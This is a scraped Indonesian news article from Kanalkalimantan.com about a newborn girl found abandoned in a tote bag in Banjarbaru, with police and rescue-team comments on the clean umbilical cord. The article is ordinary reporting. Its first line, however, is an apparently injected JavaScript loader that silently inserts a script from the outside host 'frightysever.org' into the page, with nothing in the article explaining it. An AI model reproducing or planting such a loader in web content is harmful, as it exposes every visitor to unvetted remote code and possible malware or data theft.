(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Fakta baru perlahan terungkap dari penemuan bayi perempuan dalam tas jinjing yang dibuang depan sebuah rumah di Jalan Kebun Durian Guntung Manggis RT 18 RW 003, Kelurahan Guntung Manggis, Kecamatan Landasan Ulin, Kota Banjarbaru, Rabu (12/4/2023) dini hari.
Saat ditemukan, kondisi bayi perempuan baru lahir tak lebih dari 24 jam itu sudah bersih, sehingga memunculkan dugaan yang melakukan persalinan bayi itu adalah orang berpengalaman atau berpendidikan.
Rekanan Emergency GTM Fire Rescue, Habibi mengatakan, saat di ruang bayi RSD Idaman Banjarbaru berdasarkan keterangan medis rumah sakit, dilihat dari tali pusar yang tampak bersih dan rapi, meski masih ada sedikit bercak darah yang keluar.
“Orangtua bayi kayaknya berpengalaman dalam persalinan,” ujarnya.
Baca juga: Tilep Dana Desa Ratusan Juta, Mantan Kades di HSU Mulai Diadili
Bukan tanpa alasan, dibeberkan Habibi, orangtua bayi perempuan itu mampu menghentikan pendarahan di tali pusar dengan sangat rapi. Bahkan, saking bersihnya tidak tercium sedikitpun bau amis.
“Inya (Pelaku, red) faham caranya, dililitnya pakai sobekan tapih (Sarung, red) sedikit dan kertas, serta ada selangnya untuk menutupi tatakan (Potongan, red) tali pusar, baru diletakkannya penjepit jadi pendarahan off sama sekali,” kata Habibi menarik kesimpulan dari melihat kondisi bayi saat dievakuasi.
Disebutkan Habibi, dari dugaan dokter RSD Idaman, ada dua kemungkinan, pelaku pembuang bayi merupakan orang berpendidikan atau memang pelaku sudah berpengalaman di bidang persalinan.
Sementara itu, Kompol Tajudin Noor mengatakan, melihat kondisi bayi saat ditemukan dalam keadaan cukup bersih dan tali pusar sudah terpotong, serta dijepit dengan paper clip alias penjepit buku, memang ada indikasi dilakukan oleh orang yang berpengalaman dalam persalinan.
“Sepertinya itu berpengalaman, tapi ini hanya dugaan, kalau melihat dari kondisi bayi saat ditemukan,” ujarnya.
Namun, kata Kompol Tajudin, proses persalinan itu belum diketahui apakah orangtua bayi perempuan ini dibantu atau melahirkan sendiri.
“Yang bersangkutan (Ibu bayi, red) langsung yang melakukan (Persalinan, red) atau ada yang membantu, itu yang belum diketahui,” katanya.
Baca juga: Bayi Dibuang dalam Tas Jinjing di Guntung Manggis, Pelaku Diburu Polisi
Disampaikan Kompol Tajudin, kepolisian saat ini sedang mengusut kasus pembuangan bayi di Guntung Manggis, Landasan Ulin itu
Diberitakan sebelumnya seorang bayi perempuan ditemukan di depan rumah warga dalam keadaan terbungkus kain warna coklat tapih bahalai (Sarung bisa dipakai perempuan, red) dan diletakkan di tas jinjing warna biru (goodie bag) pada pukul 03.40 Wita.
Saat ditemukan kondisi bayi perempuan tersebut dalam keadaan bersih, hanya sedikit bercak darah nampak di wajah bayi.
Saat dilakukan pemeriksaan tim medis RSD Idaman Banjarbaru, bayi perempuan dengan berat 1,5 Kg ini tanda vital dalam keadaan normal namun harus dipasangi infus.
Bayi perempuan ini diduga baru dilahirkan, karena diwajahnya nampak sedikit ada bercak darah yang hampir mengering.(Kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Ratusan personel tim terpadu menertibkan Alat Peraga Kampanye (APK) sehari jelang masa… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Laporan dugaan pelanggaran yang dilayangkan salah seorang warga terhadap Calon Bupati dan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Ketua Tim Penggerak Pemberdayaan dan Kesejahteraan Keluarga (TP PKK) Kabupaten… Read More
KANALKALIMANTAN.COM, AMUNTAI - Badan Pembinaan Olahraga (Bapor) Korps Pegawai Republik Indonesia (Korpri) Kabupaten Hulu Sungai… Read More
KANALKALIMANTAN.COM, JAKARTA - Seorang warga banua yang kini berkiprah di Jakarta, Muhammad Fremmuzar Aditya Putra… Read More
KANALKALIMANTAN.COM, BANJARBARU - Di akhir masa tugas yang diemban, Penjabat Sementara (Pjs) Wali Kota Banjarbaru… Read More
This website uses cookies.